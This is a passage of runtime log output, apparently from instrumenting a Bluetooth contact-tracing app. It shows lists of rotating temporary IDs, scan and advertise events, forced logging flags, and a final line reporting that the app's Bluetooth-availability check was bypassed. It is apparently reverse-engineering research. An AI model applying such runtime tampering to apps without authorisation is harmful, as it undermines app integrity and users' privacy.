tempID=zo8zi63siR5xNlrt92vahV9Qge5NXW7vvs+q6y3KAM9kRo8NTQUAqvFesfBgKdUmTiLH7qD4QdkosiRvww==}, {expiryTime=1594972392, startTime=1594971492, tempID=kgj6L1WTLXnGIOlszQVWdtb5zm3//mG/wL7AOaX+2KppDW28KizDHe9WLlU79a/KM8NyZG6YjpFeprP3BA==}, {expiryTime=1594973292, startTime=1594972392, tempID=iqicuKI5drqEBJbICZACDvVS6B+rM2LQS3yqnnig2xVC3JTbhxbSmOXz1Wh7o1lrvIG0r/pFeRqXwPjsww==}, {expiryTime=1594974192, startTime=1594973292, tempID=0sF2qpZcK9p25bR5a8cy0/Fvt4FOHtd+tUInPzXitpnwbT+sMfnRcvGc5qGEpKj3X+n05VPm6ZtuLRSDCQ==}, {expiryTime=1594975092, startTime=1594974192, tempID=/uwcYhjZ3vWEPE7QiBCSOWEOmtdwvZ+8pO86HtWTRpoXVjc/PHZarPY5NWOV2aitmhJb91j9DMXrZeZ/yQ==}, {expiryTime=1594975992, startTime=1594975092, tempID=eBqzyZBi33QwPTU0/J8X3CCc8lx0ws71U9G9SuK1eIXYbekTeh0hL8bqpqzcRCvRRBwSWG0co0dqgfU36A==}, {expiryTime=1594976892, startTime=1594975992, tempID=276jgTsq6dYGpL4RcrxKqd2ryFNz0Joo485M4gYF6uw2WOG6oV2rvcOKVY1dDHqkkRbNyzlZC5hB/WLwpw==}, {expiryTime=1594977792, startTime=1594976892, tempID=dLIvBLsGXVOFjQIITh/w9eYZmpqxoJnU47MTv04Ajyi+d4Sx8NXNij9Wvi93yXsBgCiHUx2MEnSj8J9AVQ==}, {expiryTime=1594978692, startTime=1594977792, tempID=P81wLke7D4Ypr4MKhSgWgNBWvfgqab4u+B86UF+qzbA29SaM9WAM9T3EUmMO8rhlSUILWlq0Jo5vqWnolg==}, {expiryTime=1594979592, startTime=1594978692, tempID=GIWNMpS7kiLL/xQZAjhpK1cyNsfnnlmWXUdD8l/IzOY2hS8jd4u64OVqaJzF8IFaRIpnJfapF1Fml9eeXw==}, {expiryTime=1594980492, startTime=1594979592, tempID=yRS4j/06WTdjTjFdvKNl6N08iO0VR7RUERhLO/4/JPpmf2NbtZV4gvuHC3OqOde6ZXO5wTKLDSA4fMo2jQ==}, {expiryTime=1594981392, startTime=1594980492, tempID=Mjr8e71rhjQUdw4UJPzxZ0Y1hQieQNuC8skF1hUYCN5TxMHpwrirrO4hwNIH1qbCy1PaXvT/0v6AlJnR3w==}, {expiryTime=1594982292, startTime=1594981392, tempID=/rCjjpPMcltd4h45Fncqoz2r7ywUWKMFD+PyZoPgXePRx46DzeYvqaW6vlvYLAmiGzvodDS0R3JNoypHyw==}, {expiryTime=1594983192, startTime=1594982292, tempID=rxidM4JbpsKwAxS2Tv3iIbabu5aR8O4KldYEiusPd7MgpatUjhrOrLPzdby8uUekqClzaJqfuzPLOfqxeQ==}, {expiryTime=1594984092, startTime=1594983192, tempID=Vy5EBroX09Oc4O6arTxfgQrzm9Q99T1BeVwBa5gogHgdgY/q4wPC9simu6zx1QHAYtsWMbNu2jaA3xxZ7g==}, {expiryTime=1594984992, startTime=1594984092, tempID=R4XwXND2hAtq8fvUHROkh038H9g3PJGpjdHWmAdwZAiGc6yQWbnql8+oRgj+IoOOLKfr/xuu1hqGsGI77g==}, {expiryTime=1594985892, startTime=1594984992, tempID=1u6bzgK+LGfBeG8q/n2G4tvNDkhC3gnqj4h+swu6rXBlQt6J5wWO5lVGRbusRFqiMQmzDed+C5vE1vufVA==}, {expiryTime=1594986792, startTime=1594985892, tempID=2IfHr5DRnQ5XkoLRAU8K2Pqswsfu0L18Hpl1FvjGkXiVw/SmlaUPlGkW7x+DYMTw/DW+4N3+11AuHa9S+g==}, {expiryTime=1594987692, startTime=1594986792, tempID=0xQsFo8l06AqpLclp+PPwp3FhR/bbyc8xegXT3GwAlP/GLLnHfbyS563quHy6FEP5hH+7rXgmmub0csrRw==}, {expiryTime=1594988592, startTime=1594987692, tempID=w4QW/oCpQED3p0pE3uxR2+fnjdSdziH4t1AOptvandzWqnqwPgvH9xeIX9+L0tIwUbjWduwmaCYCU4mcHQ==}, {expiryTime=1594989492, startTime=1594988592, tempID=haMseUm/PU8wecFi+1P+gauEcHi6Hyqw442uomckyyCNGDt2jukIdK1gHQLUmL7MzIiU6jhZTFb0MANrzA==}, {expiryTime=1594990392, startTime=1594989492, tempID=KWGbWPvmqYOqeYEiqwHbfCcc30MeisWXvxIOznqDh41gVjssP3FI1WmwNfpMjkkrhi8ZBcORtBpndSMTGA==}, {expiryTime=1594991292, startTime=1594990392, tempID=Vofzn+Mn7hR3N6PhRUndQ965Gj60hHO6VEK/MQOQfwac35GNVwyzpP/Zlxpvc0/qIpjnZDiiJYDXSmrbVA==}, {expiryTime=1594992192, startTime=1594991292, tempID=BidJO18ENU/uF43uA6w/BXdEjlSiBCLrSgFbHx9NTDaI4G2JRgxLTwWOPWaPexe8mrcPVmn0D7tFpX6w7Q==}, {expiryTime=1594993092, startTime=1594992192, tempID=c0QZ1ITgShMk/1myhcMxIa8v5ZTwlzttz+HnnTce6bAmRuaQkKk+vo/IMpLdmdBZ1KLdGPXO+xJ1+lzSIA==}, {expiryTime=1594993992, startTime=1594993092, tempID=CXrTiXUioj1Xlpvi2oAobCYED2Nfmz7HduV8sOa+bi5xfw7MiUhKu32PxQLGhWsroEwqUo4ZAZMJDZstQQ==}, {expiryTime=1594994892, startTime=1594993992, tempID=y+ZBeANWzV8nGt0HApktrQQieutwh3GLlwAv3wQCbkVyUI5OUDlxo/982RC37HzLEqFIWnjatmuuGd3jAg==}, {expiryTime=1594995792, startTime=1594994892, tempID=yRMWNMqC7W8ePYknavjMcBjIm8M4Qb0iMIhoMN1GZaON3EcaDdDGl2DLabOm2NhTK04Gg5fFAyc23q3ZQg==}, {expiryTime=1594996692, startTime=1594995792, tempID=wybHRP7bV7lOi9T4jn5MAMJF8nI4STpCj4xC2j3Yma3AGmTccrdPw8V1iwXMVjbFvzmXYl8I6M9E9fm8Fw==}, {expiryTime=1594997592, startTime=1594996692, tempID=mTuWOcwQaBWQ4GOFuLQfzQvzdlLqY8O5Ql0nk4Slr7EwQ/SWQQQF4x+Ph62qQhftkBLXbEnclF5tnP8qDA==}, {expiryTime=1594998492, startTime=1594997592, tempID=fiJ4lPOdFykVSG74hjO00dozmzRAbKvFTlRBGOI+4kUEhUZrxc/x9ZZ25PILd9UQMi+DIPJlv9M3uwrKhQ==}, {expiryTime=1594999392, startTime=1594998492, tempID=8Zfe5R2O/sioji+nqZldkGanv6AwxExhEyA56St9QMyePO3uPZL9V6bfct7E0pOMHzwTPX5kxowmoOKV8w==}, {expiryTime=1595000292, startTime=1594999392, tempID=6LDmeSTJCIsb9lsQHYbg8XoPxjd5Da7GEPLifdnK76+yBq6vlLbRAmAW1S4dUsNJ9Jq0jonqLP5UXFOYOA==}, {expiryTime=1595001192, startTime=1595000292, tempID=hOAwSJhgQvafiDx2ykBKRDiPUKZSAaAGdbdBttHUg3FsW/5mMp+KaJskrB/aLovpttELXGDqEYFdJQe6Jw==}, {expiryTime=1595002092, startTime=1595001192, tempID=j9pRwOch3d0WvbV55P20s4e8gM2dzrgpoXcHQ0ipeQHLXPPrdZ1DDtTA2sM3lUCgsHcG63QktMvydsKfcw==}, {expiryTime=1595002992, startTime=1595002092, tempID=ISwuTGhMPMw62qpBMtsFS1xxVLFvYf4XrnDukerF6pGQ8unkUI766S04SNRO9YbjQAePir1pn8LAfBm4Gw==}, {expiryTime=1595003892, startTime=1595002992, tempID=e9mIhi6XhrU1/aGnnS6hmVWRiW3B85K7ydrLas9+jIuOTq/4gowKML0fS14133SyG/VlpXTSt37uKjQm7w==}, {expiryTime=1595004792, startTime=1595003892, tempID=wyWgMXTJmWvS+fplzR8G07Sw/ZjgOv4vhZBgMaACfNFhmjOLT2jr6IxLNjgPKmnlQ/zmoIW7EVARwVgrug==}, {expiryTime=1595005692, startTime=1595004792, tempID=BzLBuxXNarHj3BwTrRc8cGbkPU9B05gDwSnY/2lfvCdDRFaf1gimjmChr0uu08uaNqyxx2KBOzpbjrSzpQ==}, {expiryTime=1595006592, startTime=1595005692, tempID=tPIon7gi1aQC4gXw7YuFR6wVhQ9llzAfJvoNyv34Q8dUCiYH6lVQd4X0/+aMzY454rgABnteaTx6X7p7BQ==}, {expiryTime=1595007492, startTime=1595006592, tempID=8AS8yU3MNVb4Lft47Z2wUiHeKAZMNqnFOG3xOWnAqcRPG4fN3sdmeapY6YhpIlHxXandkDrWeFPrSSDNxA==}, {expiryTime=1595008392, startTime=1595007492, tempID=bqgwPdsacsySx2sPsXIS3qt11gFMPXa9pPbEbXSxDHazT8wLsyJwvLCUwnM80V+wpav0pYFvOoQHfUbaKw==}, {expiryTime=1595009292, startTime=1595008392, tempID=Qj0C283aSKE5ifQiXNaor9ufO1NqTAJfYfEM5pOcfTKr6sEIfEDeCOB+iJiHU7orD/22FGQ5qojJWSK8zA==}, {expiryTime=1595010192, startTime=1595009292, tempID=CGFjtxRwvUKwxACmu9gIX0YagMehnUjEusgJVy2K8owoB6rNYHDJVTiQ60qX8ePNSurEEEpUYETLZjYntw==}, {expiryTime=1595011092, startTime=1595010192, tempID=KobMenor8bJvKWFWLPYv+u2tsAoO06OUoEPp3K5xoCkGMP7YzCHHL3uQ6B9sStl6Fo2UnEdCV92Lhviowg==}, {expiryTime=1595011992, startTime=1595011092, tempID=RTadb0ucqmJfGCZtKyQ1L5shps5buFTXI6miou60itw2jALLzFhCH/NVna7PUMXNUJUnC/iWuZiaHpARQw==}, {expiryTime=1595012892, startTime=1595011992, tempID=TT/M0tXRp30AhbUFJG4UbkUb+1pyEBX5MNdErGRpVSITxn0F/eBzVQMhtk++uv+ooxLR1CSE/67kNcNeKQ==}, {expiryTime=1595013792, startTime=1595012892, tempID=ynJFf9NsDprW/GJYrYi3jjOBlrYLfLnC9vKpYFrHRuKP7WiR9Hgzs0oxb96pFkJhSAuB8txYtnA+kG5oZA==}, {expiryTime=1595014692, startTime=1595013792, tempID=e21gQZeQzzrWWG8jA0CKS0EcDp6uA+uw6Lz/Ux51VVXr7dsByYWBVL48MMRuN2X/HYcoysdcKclEUVyE+Q==}, {expiryTime=1595015592, startTime=1595014692, tempID=V+3fUnS90+ZBF2A8WYuKdT31gboqzzqCXm4QNgeeAcEPHEVPFdwpC76bcTXSGQEjz5dOU4ug161tcHvV0Q==}, {expiryTime=1595016492, startTime=1595015592, tempID=nnO5pVcGXBpSgOJjnsuil77wr54ByuJFl4np9aSZUSjqKYsATEYikFJckdCx9rNG/fh8Xb82z8WF+6wBpw==}, {expiryTime=1595017392, startTime=1595016492, tempID=4DZsCEtd25z52wnxFg9g+meksgkzYjSsrToDcHXZJWIG0y2rqk4aQMCT6L7hf/8hpyqGFsPHOAWFhkNyUw==}, {expiryTime=1595018292, startTime=1595017392, tempID=CJT7FZvw0iq08sD/0qG5W/9fWf5kIonHsgbTzSgeBqgPgzdRaykFGpGwn2rwOJsyLQw2FDQE2I0aW1KoYg==}, {expiryTime=1595019192, startTime=1595018292, tempID=ZheuRXAXUuBrsKilHsD4KnQ80I0dDXjPmTsLueabb6SGT08hLVnjmte/LeqsjQnjhxKsIn7Da6QC6eQLvQ==}, {expiryTime=1595020092, startTime=1595019192, tempID=QfNwk7gvVJX5rY1G7DZlTfciAEd9LWZIJQ6Orb9hLxgQdBdqRY9exod/AEufPZpG4L3E3PqHtW24l3oYRg==}, {expiryTime=1595020992, startTime=1595020092, tempID=KpmR1y7kvGv/C5VWys8PClrIOkQVhbk+bhutkThlmgXWA/BsgHScWFuT+6nGcJb4zfhafC7kqfmD4Tuqig==}, {expiryTime=1595021892, startTime=1595020992, tempID=i4UaS3k429NVoV24YruFBjePCjjGfPRWBaFRN0i7iCB3pA6pG12kmJEPBdxEdQWbK6yPAwh2FbxyQdFYEg==}, {expiryTime=1595022792, startTime=1595021892, tempID=ZymjuAcU+6wV8C8+/yRAVudNu+xOkQTUTo8rdfydJoRUSIDF9tUODKt03Ofkt4dAAaqCfAWXF99MfMr4Bg==}, {expiryTime=1595023692, startTime=1595022792, tempID=Q5L9Xnu8c3wPOLi0JIWYfJr2Bf0NgGEZ7TaJ2+IRNncRQAddynUA4DCr/k1qk3iaYHt5sr8enANn6N0ekA==}, {expiryTime=1595024592, startTime=1595023692, tempID=R4Uq5glXrNODWrgwZF1ki6r8Y8j8lNUTYEt0d/ImPOq3QIukXSOU7M27XbNspMBHlyjJEcSaoMWu+cAYMw==}, {expiryTime=1595025492, startTime=1595024592, tempID=8Jx1FZnDZKgGohhgIbn98mF20ZLuo9BXeNG1nZSBD5BQ5Ls2KHkhtAMppp0GKbxmjbp0imi/TI8jWlkJvA==}, {expiryTime=1595026392, startTime=1595025492, tempID=PbgVTebVGKjqwpzNgwIzQYJRmH+FfWQiKgfsuCpv1/CpGqkNtJt3tW9cVpt1T1LS3ilLmuJYfMcfyFbfmg==}, {expiryTime=1595027292, startTime=1595026392, tempID=+FW/hK7KWFZjQUmrQco/p0LdoGP9Rwffxy0vaDizO7a1XqcRzg4Sivih/7Ylm8SJQGBRtA89HKxi9cwVfw==}, {expiryTime=1595028192, startTime=1595027292, tempID=4sA8VRRzjtiFQTgo5kV0FpCfCHVbOy16wh2U5sdFYHD188k0lCHpD64tJWcP6HV/HveNfXYTF7bp9sFRyQ==}, {expiryTime=1595029092, startTime=1595028192, tempID=1YW3R8O+sohC/A95MxJkB3v9QzGQo84BptcBHlfzd+NoQuf99YuNS2ocRnpL8GZbbRI4QFwTDEtEO7SyjQ==}, {expiryTime=1595029992, startTime=1595029092, tempID=ojPboDQLDNenloCqSrD4+LIS9d11eclPC52Pp9MkS8OG8xjPOOz8sUETy7X35lB1amL9/PUIZHnnQeyXXQ==}, {expiryTime=1595030892, startTime=1595029992, tempID=ImhsQ30aWFK7JYgtC3lw27aj/cDJl5iwK+AjGcr5OgO8hDdbhpkaRIidJa7t7S5u8E/bLwdpz21QHmG07Q==}, {expiryTime=1595031792, startTime=1595030892, tempID=pLy4tq7E+GY+pG7mBO/0ca84GdsXz4Q8EUJJ0h3WGudWlANJWtCEIMMF28VpmzuLMG2Eu8cAOg/m7bBZCQ==}]
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE status: SUCCESS
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [WARN] : TempIDManager, NOT-IDLE Retrieved Temporary IDs from Server
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE [TempID] Storing temporary IDs into internal storage...
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE StoreTempID_Successful
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE refresh: 1594992192000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE lastFetch: 1594948990985
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:SCAN
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : TempIDManager, NOT-IDLE Need to update and fetch TemporaryIDs? 1594992192000 vs 1594948991013: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE [TempID] Don't need to update Temp ID in actionScan
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:ADVERTISE
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BLEAdvertiser, NOT-IDLE Advertising onStartSuccess
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BLEAdvertiser, NOT-IDLE Settings [mAdvertiseMode=0, mAdvertiseTxPowerLevel=3, mAdvertiseConnectable=true, mAdvertiseTimeoutMillis=0]
[ + ] IsBTAvailable check successfully bypassed!